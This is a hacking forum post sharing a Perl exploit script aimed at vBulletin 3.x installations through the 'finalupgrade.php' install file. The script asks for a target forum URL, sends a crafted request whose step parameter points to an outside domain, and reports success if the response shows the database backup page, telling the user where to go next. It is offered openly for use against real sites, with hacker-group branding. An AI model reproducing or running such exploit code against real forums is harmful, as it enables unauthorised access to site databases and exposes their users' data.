vBulletin 3.x.x

Pagini: 1

Moderat de TzZzapuKH, Tzunami

Zero_CooL
Administrator
Postari: 498

#/usr/bin/perl

## ---=== vBulletin 3.x.x 'finalupgrade.php' Exploit ===--- ##

######################################
## NOTE: This vulnerability is not discovered by me... ##
## So, I take no credit for the vuln,,, ##
## I only Coded the exploit... xD.. Anyway, idk who ##
## discovered this vuln,, So, GJ!

##
######################################

# ---> http://devsn.org <------

use LWP::UserAgent;

$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"

;

print "\n ---=== vBulletin 3.x 'finalupgrade.php' Exploit ===---\n\n";

print "\n===============[x]==================\n";
print " ._. ___________._.\n";
print " | | _____ \\_ _____/| |\n";
print " ______ | |/ \\ | __)_ | | ______\n";
print "/_____/ \\| Y Y \\| \\ \\| /_____/ \n";
print " _|__|_| /_______ / __ \n";
print " \\/ \\/ \\/ \\/\n";
print "\n===============[x]==================\n";

print "\n Enter the forum URL(e.g. http://www.site.com/vb/ ): ";
$url = <STDIN>;
print "\n\nChecking for vuln..\n";

chomp($url);

my $response = $ua->get($url . 'install/finalupgrade.php?step=http://www.devsn.org');
if ($response->is_success) {
if ($response->content =~ m/vBulletin Database Backup System/gi){
print "\nExploit Success!\n";
print "\n Go TO: " . $url . "install/finalupgrade.php?step=http://www.devsn.org\n";
}
else {
print "\nNot vuln.. Exploit Failed!\n";
}
}
else {
print "\nExploit Failed:";
print "\n" . $response->status_line;
}

print "\n---=== EOF ===---\n";
print "\nhttp://devsn.org\n";
$end = <STDIN>;

_______________________________________

*******************************
]-[ack ']['he Pla]\[eT
*******************************

Pagini: 1

Mergi la